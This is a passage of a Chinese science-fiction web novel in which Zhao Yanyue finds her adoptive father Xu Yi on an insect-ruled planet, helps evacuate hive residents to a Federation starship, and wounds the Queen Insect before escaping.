隗山木说到这，又试图给赵宴月传授一些经验，他巡视一圈，然后指了指赵宴月旁边的一株植物。 “你看，这株的叶片如同流动的熔金，边缘还带着锯齿，散发着微弱的甜香，我感觉能吃。”他说完又指向另一株通体赤红形似珊瑚的植物，“根茎饱满，形状漂亮，看着应该也能吃。” 赵宴月眉毛一挑，干脆也指了指不远处一株散发着绚丽蓝色磷光、伞盖上看着好像有星河流淌的巨大蘑菇：“您老看这个是不是也能吃。” “这个不能。” 赵宴月听到回答有些出乎意料：“是吗，我看它挺符合您对食物的审美。” “确实，所以这个我早就试过了。”隗山木唏嘘地摆了摆手：“蓝磷伞，比荧光鬼伞还毒，吃不了。” 赵宴月觉得以隗山木挑选食物的眼光来看，让他找吃的实在是有些屈才了，研究下毒可能会有更高的造诣。 “这些植物的名字是您取的吗？还都挺贴切的，就是和吃的不太沾边。” 隗山木觉得赵宴月这句话不像是在夸他。 “去去去，你懂什么。”老人吹胡子瞪眼道：“就是这种的才有可能蕴含特殊能量，像你采的那些灰扑扑的杂草，能有什么营养价值。” “有没有特殊能量先不说，反正至少应该吃不死人。” “……” 两人一边斗嘴一边各自忙碌，隗山木费了九牛二虎之力，终于敲下了几块附着星屑荆棘的蓝晶矿，赵宴月也把布袋装得满满当当。 回到7789蜂巢后，赵宴月把布袋丢给隗山木，老人提着一麻袋乱七八糟的花花草草，往里看一眼就想叹气。 赵宴月没再管隗山木的研究，往后几天一心一意地投入了寻找许奕的“扫楼”大业，天天喂完王虫后就像个不知疲倦的邮差一样穿梭于不同的蜂巢之间。 只不过她每天下班回家都会顺便去荒野里溜一圈，然后给对面闭关锁门的4-121室扔进去一麻袋花花草草。 经过这几天的搜寻，编号5600-5700蜂巢已经排查了一半，虽然许奕的影子依旧没看到，不过赵宴月倒是听说了一点消息。 编号5688的蜂巢自从多年前换了巢主后就没有任何人被污染过，不少精神海等级低的人都想住到5688蜂巢里去。 因为5688蜂巢的巢主和四个管理员都是“外面来的”，有怪物进攻时他们几人就能将蜂巢守得固若金汤，根本不需要虫族出手。 最重要的是，这位巢主据说就是二十年前来到的蜂巢。 虽然明天按照顺序应该去5663蜂巢进行搜寻，但赵宴月决定让5688蜂巢插个队。 如果明天还是找不到许奕的话，她也不能在这里继续待下去了，赵宴月一想到王虫眸光暗了暗。 王虫的实力似乎增长了。 原本她接近王虫时，精神海里的精神力此消彼长，能稳定地维持在剩一半的水平，但是这两天她发现王虫散发的污染轻微地加重了。 虫族的污染一直遵循“等级越高污染越重”的规律，也就是说有净化因子的精神力对虫族来说应该不仅仅只是“味道更好”的食物，极有可能还是能提升实力的大补品。 比起所谓的“更加美味”，或许这才是更符合逻辑的，高等虫族对净化师虎视眈眈的原因。 本身王虫的等级就已经突破了联邦定义的S级，继续喂下去那真是烂手回冬。 赵宴月脑子里思绪翻飞，也没忘了将自己手里的一麻袋花花草草通过窗台扔进隗山木的房间里。 只不过这次室内不再是毫无动静，房门忽然被人拉开，苍老的声音从黑暗里传来：“不用再送了小赵。” 赵宴月有些意外地顿住了脚步，溜溜达达地转了回去问道：“怎么了隗老，已经找到可食用作物了？” 隗山木从昏暗的室内走出来，他抬起头，脸上却没有预想中的狂喜，反而笼罩着一层深深的疲惫和灰暗，布满皱纹的显得更加苍老。 “早就找到了，你确实比我有眼光。”隗山木的声音沙哑，明明听着是件大好事，语气却并不轻快：“这‘豆泥’煮熟了能吃，味道还行也顶饱，营养成分也足够。” 赵宴月看着他这副模样，心里咯噔一下：“那您怎么这副表情？” “我确实应该高兴……发现豆泥能吃的时候我确实很高兴。” 隗山木扯出一个笑，浑浊的眼睛里看向断臂，平静道：“但现在看来我所做的一切都没有意义。” “也对，你整天不在蜂巢里，也不知道发生了什么……其实就是我告诉所有人这东西能种，种活了我们就能有除了营养剂之外的食物，不用再被那个该死的玻璃罐拴着脖子。” 老人说到这，神色依旧还算冷静：“结果就是那些精神海品质高的上等人嗤之以鼻，他们每天有花蜜喝，根本犯不着去种地。” 赵宴月思考了几秒，对这个结果说实话并不算太意外，“那那些精神海品质低的呢？他们总不会拒绝自己动手填饱肚子。” “我本来也是这么想的。”隗山木的声音陡然拔高了一些，无法再让自己看起来平静：“结果比起自己养活自己，他们居然更寄希望于自己能生个高品质的孩子出来！他们习惯了被饲养的生活，根本不愿意自己动手，甚至用‘自己每天获得的营养剂太少，根本没力气打理作物’的理由来搪塞，这里的人从根子上就烂完了，看着还是个人，其实早就变成了牲畜！” “只有实在活不下去的，才愿意拿几棵苗去试试。” 隗山木说到这，声音彻底低了下去。 即便在寻找可食用作物的路上失败了无数次，他的眼神里也没浮现过如今这样的无力和茫然：“他们习惯了被圈养，习惯了被投喂，习惯了把希望寄托在虚无缥缈的下一代身上，他们只知道吃、睡、生……然后不知道哪一天精神海彻底崩溃被扔出蜂巢，就是死也是变成荒原上那些异形怪的食物。” “我原本以为只要找到了能吃的作物，这样的风气就能有所改善。”隗山木的背脊越发弯了下去，给人的感觉瞬间变得苍老许多：“很明显，现在看来彻底灭亡才是蜂巢最好的归宿。” 赵宴月沉默地听着他倾诉，感觉隗山木现在的心态应该和某知名科幻剧里的女主角感同身受。 说到底不过是理想主义者对现实的绝望反抗，在发现这个世界根本无法拯救后，黑化到在心里按下了毁灭人类的按钮。 赵宴月在刚接触蜂巢时就已经察觉到这里早已形成了扭曲的社会，但思想这种东西谁也没办法纠正。 只有清醒的人才会因为生活在这样的环境而感到痛苦，但反过来说，这种环境下成长起来的人又有几个会是清醒的。 就在气氛压抑到极点时，赵宴月忽然开口道：“那您想离开这里吗，最迟后天就走。” “你能怎么回去？”隗山木动作迟缓地抬起头，并没有被这句话冲昏头脑，“这么多年来，没有任何人可以逃离这个星球。” 赵宴月支棱起来给他画大饼：“反正我有办法。” 不管了，好歹来一趟，带谁回去不是带。 就在赵宴月打定主意明天去5688蜂巢找完人就撤离时，一阵沉闷却极具穿透力的巨响从西边传来，打破了蜂巢夜里的万籁俱静。 赵宴月如今对蜂巢的分布已经很熟悉，那边好像正是5688蜂巢的所在地。 那这个热闹她不得不凑一下了。 第84章 5688蜂巢的外围已是一片狼藉, 数十只体型庞大形似巨蝎的异形怪不断试图攻入蜂巢。 本该睡觉的时间点，蜂巢内部却很是喧嚣，不少人出了房间, 站在走廊上忐忑不安地围观战况。 鼎沸的人声和怪物的嘶吼交织在一起, 让本该安静的夜晚格外令人躁动不安。 蜂巢的入口处，一具暗金色的生物机甲手中挥舞着一柄巨大的战斧, 狠狠劈在一只异形怪的螯钳关节处。 刺耳的金属切割声伴随着飞溅的火花和破碎的甲壳，将巨大的螯钳硬生生斩断。 异形怪发出痛苦的嘶鸣，尾部毒针猛地刺向机甲, 却被一个灵巧的滑步侧移掠过。 尾针擦着肩甲而过，喷出的腐蚀性酸液溅射到了蜂巢的外墙上, 一瞬间滋滋作响，留下刺鼻的白烟。 解决完这一只，暗金色机甲立马又如同猎鹰般切入战场, 战斗风格大开大合, 对时机的把握和对环境的利用都堪称老辣。 通讯频道里传来不同的声音：“三点钟方向又爬上来两只小的，谁去守一下缺口。” “我这边走不开, 这些蝎子怪的毒液能腐蚀墙壁，注意别让它们打洞进来。” “这怪有点恶心数量还多, 可能要溜进去几只。” “加快速度加快速度, 不然虫族要赶过来了, 它们自带的污染杀伤力可不比这些蝎子怪低。” “要爬上去了, 那两只谁去弄掉, 老刘？厉姐？” “我这边走不开。” 眼见两只蝎子怪已经爬上了外墙的顶端，四楼的住户纷纷发出惊呼，尖叫着慌忙四处逃窜。 一具银白机甲就在这时划破了夜幕，一手拽一只地将两只庞大的异形怪抡起来砸到了地上, 激起一阵尘灰。 赵宴月驾驶着机甲悬停在半空，将下方激烈的战斗尽收眼底。 底下四具机甲守住了蜂巢的四个面，释放技能的火光照亮了这一片区域，但奈何蜂巢的体积着实庞大，难免有些捉襟见肘。 有赵宴月加入守住5688蜂巢的顶端，一些稍不注意溜上去的异形怪露头就被无情地踹了下去，蜂巢顿时变得固若金汤。 战场上时不时就有怪物伴随着黑红色的火光坠落下来，发出巨大的落地闷响后，又轰的一声被炸得四分五裂。 “这是哪来的壮士？看着好像很强，像是A级机甲尖兵。” “我们蜂巢里什么时候还有这号人物。” “不是我们蜂巢的。” “给她的机甲发送个通讯申请试试。” 赵宴月一接受通讯请求，下一秒就有个年轻的男声响了起来：“嗨朋友，很不幸在蜂巢遇见你，你是那个蜂巢的？谢了。” “许奕？” “诶老大，她好像在叫你，是不是你认识的人？” 一个更加沉稳的男声带着点疑惑响了起来：“你好，我是许奕，请问你是？” 赵宴月思索片刻，决定实话实说：“你好，我是赵宴月，和你在户口本上的关系是‘父女’。” 此话一落，通讯频道瞬间陷入了沉默。 良久，一道听起来更加苍老一些的男声传来：“恭喜恭喜，喜得贵女。” 一道有些严厉的女声接话：“老来得女，恭喜。” 最开始说话的活泼男声愣了一下，也跟着起哄附和：“恭喜老大贺喜老大，你有后啦！” 等几人配合着清理完这一波异形怪，银白机甲刚轻盈地落到空地上，立马就被几人围了起来。 机甲化作流光，赵宴月从驾驶舱里跳了出来，目光在眼前的三男一女身上划过。 一个看着五六十岁的沧桑大叔，一个看着四五十岁的女人，一个看着二三十岁的小年轻，然后停留在最后一个人身上。 他看着约莫四十岁出头，面容俊秀，目光中带着一丝疑惑和审视，牢牢锁定在赵宴月身上。 赵宴月对比了一下自己记忆里的照片，感觉面前的人除了看着比照片里的帅哥更老了一点外基本没差。 她清了清嗓子，字正腔圆地说道：“许奕同志，因为爷爷奶奶领养我的时候你在法律意义上已经‘死亡’了，所以就把亲属关系挂在了你名下，也就是说我和你是没有血缘关系的亲父女。” 赵宴月说到这顿了顿，十分体贴道：“考虑到你现在还活着，所以不想要闺女的话，你把我当妹妹也行。” 许奕脸上的表情随着她的话语一点点变得精彩纷呈。 “啊？老大你真喜得贵女了，我还以为是开玩笑呢。” 老刘的目光扫过赵宴月和许奕：“这下天上掉馅饼了，真是恭喜你啊。” “唉，命真好，我爹妈怎么不知道给我领养个崽回来，这下真绝后了。” 许奕花了点时间消化这个信息，然后笑了起来：“户口本上是父女，那你当然就是我女儿，我爸妈他们……” “他们很好，之前一直很想你。” 许奕听到这话，目光变得有些滞涩起来。 他失踪二十年音讯全无，两个老人这么多年里肯定怀着他某天会回来的希望盼了一年又一年，直到随着时间渐渐流逝，最后接受他已经死亡的事实，这是多么漫长的痛苦。 见气氛沉寂了下来，年轻的男生忽然眨了眨眼，插话道：“诶？所以为什么说是‘之前’很想老大？” “当然是因为现在爷爷奶奶脑子里想的都是我。” 赵宴月看了一眼许奕，十分有竞争欲道：“是这样的，自从我加入这个家之后，你的卧室早就被奶奶改成了我的书房，家里已经没有你的位置了。” “……是吗？”许奕嘴角一抽：“当爹的很开心听到这个消息，但是崽，你怎么也被抓到这里来了。” 儿子没了之后孙女也失踪了，这对两个老人的打击岂不是更大。 赵宴月十分随意道：“这你不用担心，我才来没几天，爷爷奶奶还不知道呢。” “总会知道的。” 许奕叹了口气，将两老的事暂且压下，又稍稍皱了皱眉愁道：“你是怎么被抓来的？你这个年纪还不到上战场的时候吧。” 不等赵宴月说话，年长的男人已经招呼了起来：“好了好了，黑灯瞎火的都别在这傻站着了，回去聊吧，多的是时间。” 巢主室里，许奕给赵宴月相互介绍了其他几个人。 看着有些沧桑的的大叔叫老刘，神情较为严厉的女人叫厉姐，最年轻的叫小莫，都是陆陆续续来到蜂巢的B级机甲尖兵。 几人围坐在一起，互相交换了一些信息。 小莫听完赵宴月的话后震撼道：“所以你是从新星杯举办的秘境里被抓来的？这么说来除了你应该还抓了不少其他学生？” 赵宴月给自己灌了好几口水后才慢悠悠地回答：“那倒没有，只抓了我一个。” 小莫：“……只抓你一个？这不对吧？虫族图你啥？干嘛只抓你一个？” 赵宴月：“你猜。” 许奕听着两人的你一言我一语，稍稍抬起手揉了揉太阳穴：“怎么来的已经不重要了，这个蜂巢算是我们勉强建立起来的一个秩序点，我们接管了巢主和管理员的位置，无论精神海等级高低，所有人每天获得的营养剂份额都一样，你可以搬到这个蜂巢里来，多少能有个照应。” 赵宴月闻言没有答应下来，反而先提出了疑问：“平均分配吗？那些高等级的精神海应该不会服气这种分配方式。” 毕竟高品质精神海每天提供了更多的精神力，但是拿到的却是和其他人一样多的营养剂。 “这你就不知道了吧。”小莫摆手道：“这鬼地方又没有灵兽可以给他们契约，高等级精神海也没用，不服也得服。” 厉姐也在此时开了口：“这里没办法‘按劳分配’，只有做到绝对的公平，他们才不会想着生高品质的孩子，才能抑制住生育率。” “这些人好吃懒做，我们保护蜂巢不被入侵，之后连战场都得自己清理。”老刘说到这叹了口气：“一天天除了吃就是生，有时候我都不知道保护这群废物有什么用，但是放怪物进来吃掉他们又不忍心。” 厉姐瘫着一张脸补充：“我倒是忍心，主要是我们需要靠保护这些人从虫族那换取晶源，不然就只能生孩子。” 许奕的手指在冰冷的金属桌面上轻轻敲了敲，没有参与他们每天都要来上一次的怀疑人生，看向赵宴月道：“你要过来住吗？好歹也算父女团聚？” “还可以随便换蜂巢住吗？这算是巢主的特权？” 许奕想了想：“只要你愿意来，那就可以是。” 赵宴月：“……” 她将过不过来住的问题囫囵带了过去，都要走了还搬什么家。 赵宴月的目光从眼前还沉浸在唏嘘里的几人身上扫过，没想到找到许奕后又面临了更大的问题。 撒因带上她和隗山木加上一个许奕回去都没有问题，但是再多人肯定就不行了。 说到底她和其他人也不熟，但是许奕未必愿意丢下这几个人自己拍拍屁股离开。 难道真要等联邦过来。 按理说她早就把这个星球的定位发了过去，联邦不可能没有行动。 现在唯一的问题是联邦不知道什么时候才能到达这个星球，但是王虫再喂下去问题倒是会很大。 就在赵宴月思索之际，光脑忽然震了震，提示她接收到了一条消息。 小莫顿时停止了叽里呱啦的宣泄，瞪圆眼睛看了过来：“诶？你的光脑竟然还有电……不对，你怎么能接收到消息？” “都说了我才被抓来几天，光脑有电很正常吧，至于为什么我能接收到信息……” 赵宴月眨了眨眼，“因为我的光脑很高端，所以隐隐约约能接收到信号，这么说你信吗？” “真的假的？什么牌子的光脑？” 赵宴月：“……” 这很难评。 除了小莫外，其他人看来的目光里已经写满了探究和疑惑，但其实赵宴月也很奇怪自己怎么能接收到信息。 她点开光脑看了一眼。 “殿下贵安，破晓号星舰已抵达星球边缘跃迁静默区，坐标为-3°5484311.34，98.464。 您所在星球为王虫巢穴，星舰暂时无法靠近。 请殿下务必于星系标准时10：00前抵达（48.46°N，119.05°E）附近区域，破晓号届时将靠近星球，我们会将您直接传送至星舰即刻返航。 另，星舰已装备信号发射器，但信号发射或将惊扰虫族，殿下勿要回复。 ——联邦远征军指挥部，闻星洲” 赵宴月一目十行地看完信息，想着这真是来得早不如来得巧，对联邦的打算也心里有了数。 这颗星球上三步一个A级虫族五步一个S级虫族，必须保证在不惊动虫族的情况下才能安全撤退，不然大家一起完蛋。 赵宴月抬眸看向正匪夷所思盯着自己的三个人，轻咳一声道：“别那么大惊小怪，有信号是因为联邦星舰来了。” 这话一落，不仅仅是小莫大惊小怪，就来许奕都诧异地看了过来。 “联邦的星舰？！” 小莫重复了一遍，激动到差点跳起来，“联邦来救我们来了？” 赵宴月点点头：“需要在不惊动虫族的情况下，早上十点前抵达（48.46°N，119.05°）这个位置附近。” “这个坐标点就在荒原深处，离这里不远也不近。” 老刘迅速判断出了位置，然后又小心询问道：“你说的是真的吗，没想过我这辈子还能有回去的一天。” 不管是联邦从三垣星系无数星球里精准定位到了这颗星球，还是联邦星舰已经到达星球附近，这两个消息都十分具有冲击力。 听上去像是联邦针对蜂巢里的人展开的救援行动，但问题是联邦怎么知道这颗星球上有人。 蜂巢里人口众多靠的是几百年的繁衍，相较之下虫族在战场上抓的人并不多。 这些少数失踪的人在联邦看来应该是被低等虫族吃掉后“尸骨无存”了，绝不会想到是被虫族抓到了其他星球。 在极有可能根本不知道这颗星球上有其他人的情况下，联邦竟然会组织救援行动，甚至还专门联系到了刚被抓来几天的赵宴月…… 这怎么越想越不对劲，搞得好像专门为了救她一个人来的似的。 这怎么可能嘛。 所以联邦一定是从某种渠道已经掌握了蜂巢的信息……吧。 “也就是我们马上就可以离开了诶！我本来以为我都要老死在这里了。” 小莫已经被这个消息冲昏了头脑，根本不想去思考“真的假的”，或者说他都害怕去想是“假的”。 老刘压下满脑子的疑惑：“既然是联邦的救援行动，那这些年其他被抓到这的战士都要通知到，在十点前还要尽量组织蜂巢里其他愿意离开的人撤离。” 小莫脑子一转：“老大，青晶宫！青晶宫里那些净化师总得带回去！联邦肯定是为了他们来的！” 第85章 几人规划得热火朝天, 许奕的眉头却越锁越紧，指尖无意识地敲击着冰冷的桌面，发出笃笃的轻响。 他不知道联邦对这颗星球的了解有多少, 但是想要把青晶宫里的净化师带走, 很难做到不惊动虫族。 蜂巢也就罢了，虫族一般不会靠近这片区域, 但是青晶宫不比蜂巢，它紧挨着虫族老巢，任何风吹草动都有可能惊动它们。 青晶宫里的净化师未必愿意被联邦救援, 轻举妄动或将造成无法挽回的后果。 思及此，许奕看向正讨论着的几人道：“带走青晶宫的净化师难度大, 风险系数高，我认为没有救援的必要。” “怎么就没有救援的必要了。”小莫像被踩了尾巴的猫般瞬间炸毛，急切地反驳：“老大, 净化师的重要性你我都清楚, 虽然风险大，但是就算只能救一个出来都是值得的。” 老刘略显沧桑的面容上沟壑更深：“组织蜂巢里的人撤离或许是出于人道主义, 但是净化师关系到三颗宜居星防线的稳定，是三垣星系最重要的战略资源, 理智上我也认为不应该去青晶宫, 但无论如何总得试试。” “道理是这个道理。”厉姐抱着手臂嗤笑了一声, “但青晶宫紧挨着虫族巢穴, 就怕到时候不仅救不了人, 还要搭上本来有可能撤离的人，甚至包括联邦派来接应的星舰一起玩完。” 小莫和老刘闻言张了张嘴，却不知道该说什么，最后纠结出声：“那就这么算了吗, 王虫的降生会让越来越多的高等级虫族加速孵化，未来要想抵御虫潮肯定需要更多的净化师做支撑。” “不管怎么说，我都不赞同去青晶宫。” 许奕的话音一落，巢主室内便陷入一片压抑的沉默。 他见状叹了口气：“我知道这么放弃你们难以接受，毕竟就算只从青晶宫里带出来一个净化师也是值得的，如果非要尝试的话，那只有一种方法。” “时间不等人，先去通知能联系上的分散在其他蜂巢的战士，让他们一级一级互相传递信息，其次让这些人组织蜂巢里的普通人撤离，蜂巢里的人联系不上虫族，不要怕他们走漏消息，以最快的效率通知到位，最后……” 许奕说到这顿了顿，目光跳过了乖乖听讲的赵宴月，看向其他三人道：“等这些人全部抵达目标地点后再去青晶宫，一旦这次行动惊动了虫族，不要犹豫立刻撤退，最坏的情况无非就是我们几个人被留在这里，你们有异议吗？” “明白了，我同意。” 赵宴月歪了歪头，还没来得及开口，许奕的目光便有如实质般锁定了她，抢先堵住了话头。 “你跟着大部队走，我们家总得活一个。” 赵宴月：“……喔。” 她又没说自己要去青晶宫。 撤离的时间点是十点，不管是为了防止节外生枝，还是给撤离行动打掩护，她都得和往常一样去喂王虫。 再说了她是接触过青晶宫里的净化师的，比小莫他们更深切地知道他们大概率不可能把青晶宫里的人带走。 ——当然也不排除小概率事件发生的可能性，只不过一旦净化师出现反抗行为，势必就会惊动虫族。 许奕明显也知道这一点，但他也知道让几人直接放弃和让他们试过才发现不行是两码事，毕竟有带净化师回去的胡萝卜在眼前吊着，试过了才不会后悔。 好在这是联邦第一次展开救援，虫族的反应需要时间，只要撤退得够快就不会有什么大问题。 赵宴月对许奕的安排没什么异议，乖乖点了点头。 见她没说什么“我也要去青晶宫”的鬼话，许奕的神色才微微松弛下来，感叹他爸妈养出来的闺女就是贴心。 他瞥了眼时间挥了挥手道：“没几个小时了，行动吧。” 蜂巢收取“玻璃罐”的时间和往常一样，赵宴月回到7789蜂巢后先去通知了隗山木。 隗山木联想到她之前说的“她有回去的办法”，恍然大悟道：“所以你早就知道你们星球有救援来了吧。” 赵宴月思索一下：“这么说也对。” 过程不正确但结论正确。 毕竟她最开始是打算带着隗山木直接开挂回天市星，但是做星舰回去的方式或许更容易让老人家接受。 隗山木纠结了再纠结，最后还是一叹气，说道：“要不我还是通知一下这个蜂巢里的人吧。” “我记得您昨天还巴不得所有人一起去死？” “……我的意思是总得给一些愿意离开的人一个机会。” “可以。”赵宴月笑眯眯道：“只要您能接受结果就行。” 隗山木已经听明白了赵宴月这句话的潜台词，也嫌自己不争气，郁闷道：“有些事完全不做和做了才死心是不一样的。” 好熟悉的逻辑。 赵宴月想了想，决定把它命名为“赌狗心理”，她也当了这么多年赌狗，十分能理解。 车轱辘在地面上滑动的声音响起，管理员已经推着小推车准备挨家挨户收玻璃罐了。 赵宴月见状没再和隗山木多聊，准时抵达了巨树之巅的王巢。 浓稠得如同液态的青紫色光雾在树冠间翻涌，无声地滋养着巨树，孕育出虫族生命。 巢穴里没有王虫的身影，赵宴月收回目光，脚步无声地走到了巢穴中央那汪散发着柔和光晕的池水边。 池水澄澈又平静无波，她蹲下身，漫不经心地拍了拍平静的水面。 细微的破水声打破了巢穴的静谧。 水面如同被投入石子的镜面般漾开一圈圈细密的涟漪，一个身影无声无息地从水池中冒出了头。 水珠沿着纤细的触角和湿漉漉的长发滑落，王虫看了她一眼，重新潜入水中，下一秒便出现在了水池边。 赵宴月定了定神，没有像往常一样等待王虫自己吃自助餐，而是主动将食指送了过去。 指尖萦绕着精纯的精神力，王虫没有犹豫地咬了钩，含住赵宴月的指尖开始吞咽，甚至透出了几分温顺的意味。 巢穴里只剩下细微的吞咽声和赵宴月放缓的呼吸声。 时间在紧绷的空气中一秒又一秒流逝，赵宴月的心弦也紧绷了起来。 喂了这么几天，她对王虫触角在愉悦状态下晃动的频率早已烂熟于心，时刻关注着王虫的状态和巢穴外的动静。 当一直平稳晃动的触角忽然极其细微地颤了一下时，外面也果不其然隐隐传来了喧闹的声响。 王虫停止了吞咽的动作，赵宴月呼吸一滞。 要是王虫亲自去青晶宫那真是直接宣告游戏结束了，都不需要再挣扎。 电光火石间，赵宴月手比脑子更快地给王虫套了个生机汲取的虚弱debuff。 随着猩红的丝线无声无息地缠绕上王虫的身体，它身上的生机转化为一股浩瀚的精神力，如同决堤的洪水般涌入赵宴月的精神海。 王虫对赵宴月的技能并没有设防，被汲取的生机只不过会让它虚弱片刻。 赵宴月的精神海一被补满，这个虚弱的debuff就结束了，不痛不痒。 对上王虫看来的视线，赵宴月猛然发觉王虫似乎并没有打算亲自去青晶宫的想法，她脸上顿时露出一个诚恳的微笑。 “没有攻击你的意思，今天不想多吃一点吗？放个技能好让你尽情享用。” 王虫漠然地看着她。 赵宴月又道：“你有没有听过一句话，不会带团队只能自己干到死，标准的上司会把活全交给底下人去做……我的意思你现在就很标准。” 她一边说着一边加大了精神力的释放剂量，整个空间都被甜美的净化因子充斥着，让王虫的目光重新回到了赵宴月的指尖。 或许是精神力的诱惑暂时压过了其他，又或许是王虫判断青晶宫那边的动静并不值得自己亲自出手。 王虫垂下眼眸，重新咬住了赵宴月的指尖，带来一阵温热的触感。 空间重新安静了下来。 随着时间越发逼近十点，赵宴月一边维持着高强度的精神力输出，一边打量起王虫水下若隐若现的躯体，在它的胸口处扫视。 反正都要走了，有个猜想她不得不做个实验。 被王虫吸了这么多天，不收点利息她实在咽不下这口气。 精神海中的精神力也已经所剩不多，赵宴月在脑子里呼叫起撒因。 【在】 “听我指挥，我说动手你就动手，反应速度一定要快，知道不知道。” 【好的！我的反应速度超出人类的认知，保证完成任务】 赵宴月心脏怦怦跳，狐狸眼眸光一闪，在从王虫口中收回食指的刹那，整个人像是没站稳般朝水池里的王虫扑了过去。 “哗啦——” 巨大的水花如同炸开般四溅飞射，模糊了彼此的视线。 冰冷的池水带着刺骨的寒意，赵宴月手忙脚乱地将王虫压在水里，看似在往上游，手却隔着王虫身上那层紧贴在皮肤上的薄薄衣料摸索。 对方胸膛下并没有心脏的搏动，也没有晶源突起来的异物感。 摸着平坦的胸口，赵宴月脑子一空。 不管了，反正高等级虫族的晶源都长在这个位置，摸不出来不代表没有，说不定隐藏在身躯内部。 精神海里剩下的所有精神力在一瞬间被全部调动起来，冲进了王虫的胸口。 水花四溅中，一股难以言喻的剧痛和力量被剥离的虚弱感，清晰地传递到王虫的意识中。 王虫原本一直毫无情绪地看着她折腾，此时眼眸中第一次被纯粹而炽烈的的怒火点燃，骨节分明的手掌刹那间扼住了赵宴月的脖颈。 “撒因！” 就在赵宴月身影消失的同时，足以将整个王巢乃至巨树顶端都夷为平地的爆炸轰然响起。 以这个爆炸的强度来看，但凡慢一秒都死得连灰都剩不下。 在被传送到荒野时，赵宴月感觉自己的发丝上还残留着爆炸的余波，又立马拔腿朝着预定坐标点狂奔。 来不及喘匀那口似乎带着硝烟味的空气，耳边只剩下自己粗重的喘息和呼啸的风声。 想到王虫最后的神色，赵宴月爽得头皮发麻。 实不相瞒，她早就想这么干了。 已知虫族污染越重实力越强，由此可得污染越轻实力越拉。 虫族的能源和其中的污染像是伴生关系，既然晶源里的污染是可以被净化的，那么生长在虫族身上，并没有被剥离出来的晶源能被净化吗。 赵宴月回忆了一下刚才的恐怖爆炸，感觉自己已经得到了答案。 单纯净化晶源需要用精神力小心翼翼地填满晶源上面的回纹，这样才能不让脆弱的外壳碎裂，变成报废品。 生长在虫族身上的晶源显然不需要顾及这一点，只要能摸到晶源就能将精神力送进去。 她这边还在夺命狂奔的功夫，另一边星舰休整区的许奕看着时间越来越逼近十点，眉头皱得能夹死一只苍蝇。 他们几个是最后被传送到星舰上的人。 之前乖乖点头说自己跟大部队走的赵宴月按理来说早就已经登舰，他却到处都找遍了也没找到她的身影。 “星舰必须十点返航吗？” 侍卫官闻言答话道：“许奕上将，星舰当前十分靠近虫族星，推测虫族目前已经定位到了星舰位置，最迟十点必须返航，还有最后十秒。” 许奕望向窗外深邃无垠的星域，脸上的神色沉得能滴处墨来。 什么贴心小棉袄，他早就该预料到的，他爹妈的教育方式只能养出闯祸精。 “负责转移的庄上校在哪，让他把我送回去。” 侍卫官听了这话一愣：“回去？” 第86章 军靴踏在金属地板上发出沉闷急促的回响, 许奕和庄上校僵持片刻，声音逐渐焦躁：“我必须回去！” 被称为庄上校的中年军官面容刚毅，铁血无情中还带着一丝责备：“我不可能送你回去, 就算你军衔比我高我也得说说你了, 自己的闺女怎么也不看好？确定她不在休整区吗？” 许奕喉结滚动了一下，语气变得低三下四起来：“是我的错, 你先把我送回去，我不可能让她一个人留在虫族星。” 见他也是一片拳拳之心，庄上校叹了口气, 拍了拍许奕紧绷的肩膀：“别着急，再等等吧, 星舰一时半会儿还走不了。” “不是说十点准时走？你别用这种话来搪塞我。” “真没诓你，你没看现在时间已经过了吗。”庄上校抬腕点了点光脑屏幕，声音压低稍稍给许奕透了点口风：“最重要的那位还没上来, 闻执政官不会下令返航。” 许奕一愣, 发现现在时间已经来到了10：01：37。 星舰确实还稳稳地悬停着，引擎只是维持着最低功率运转, 没有启动的意思。 “最重要的那位？谁这么重要？她什么时候登舰？” “绝密档案，这可不兴说。” 庄上校摇了摇头, 然后又实在没忍住, 用气声飞快地补充了一句：“我当时听到这个任务的时候都吓了一跳, 反正只要你闺女比那位来得早就行。” 许奕皱了皱眉, 听了这话也没放下心, 这也太不确定了。 “报告！目标已进入可传送范围！”负责传送的士兵高声汇报。 庄上校精神一振，立马上前吩咐道：“传送到最上层甲板，执政官在等她。” “是！” 赵宴月跑着跑着就感觉自己眼前一花，这种被传送的感觉很熟悉, 她猜是江茂茂技能的plus版。 脚底刚踏上星舰坚实的金属甲板，耳边就立刻被各种声音塞满。 密集而沉重的脚步声从四面八方传来，伴随着紧张清晰的指令呼喝。 “目标确认，殿下已安全登舰。” “医疗组已就位。” “跃迁引擎预热，全舰一级战备，即刻前往跃迁通道。” 整个星舰在此时猛地一震，刺耳的警报声瞬间拉响，走廊里闪烁着红光。 “警告！侦测到空间扰动！” “警告！跃迁引擎受到强干扰！稳定性下降至临界点！” 窗外的星域如同被投入石子的水面，剧烈地扭曲荡漾起来。 “全舰最高战备，加速进入跃迁通道。” “已进入跃迁通道，跃迁程序启动，3……2……1……” 星舰剧烈震动，窗外景象瞬间拉长扭曲，化作一片光怪陆离的流光隧道。 就在星舰彻底没入跃迁通道的最后一刹那，那片封锁的空间紧跟而上，只差一步便能追上星舰。 王虫冰冷的目光穿透虚空，看向星舰离开的方向，清越的声音一字一顿：“好得很，别再被我抓到。” 进入跃迁通道后，星舰彻底平稳了下来，闪烁的红光也变成了柔和的待机蓝光，赵宴月被侍卫官簇拥着往医疗室走。 “殿下！”一个略显熟悉的声音响起，带着一丝不易察觉的急切。 赵宴月循声望去，星舰通道的尽头，身姿笔挺如松的男人正快步走来，几步便缩短了距离。 他穿着剪裁合体的制服，肩章上的将星在灯光下熠熠生辉，一双漂亮的眼眸如同寒潭，此刻正牢牢锁定在她身上。 赵宴月拍了拍衣角上因为狂奔带上的灰，笑眯眯地打了个招呼：“执政官贵安。” 闻星洲叹了口气：“都什么时候了。” 他几步走到赵宴月面前，目光从赵宴月带着些许红色指痕的脖颈上扫过，瞳孔骤然一缩：“殿下受苦了。” “没什么事。”赵宴月摇了摇头。 撒因反应速度很快，离她被王虫掐死还有很长一段距离。 这么点小伤都不用火急火燎地去医疗舱，再晚点印子就自己消失了。 侍卫官在前面引路，她干脆扭头看向闻星洲问道：“上来了多少人？” 闻星洲的目光与她交汇，声音平稳地给她汇报了下情况：“成功传送回星舰的包括殿下在内总计327人，其中战士189名，普通民众137名，青晶宫无人成功撤离。” “许奕呢？” 闻星洲并没有对这个名字表现出疑惑，回答道：“他在星舰上，不必担心。” 这么高效的沟通着实让人身心舒畅，赵宴月点点头：“青晶宫里的人带不出来我差不多能猜到，倒是蜂巢里愿意离开的普通人比我想象中还要少。” “殿下是觉得失望吗？” 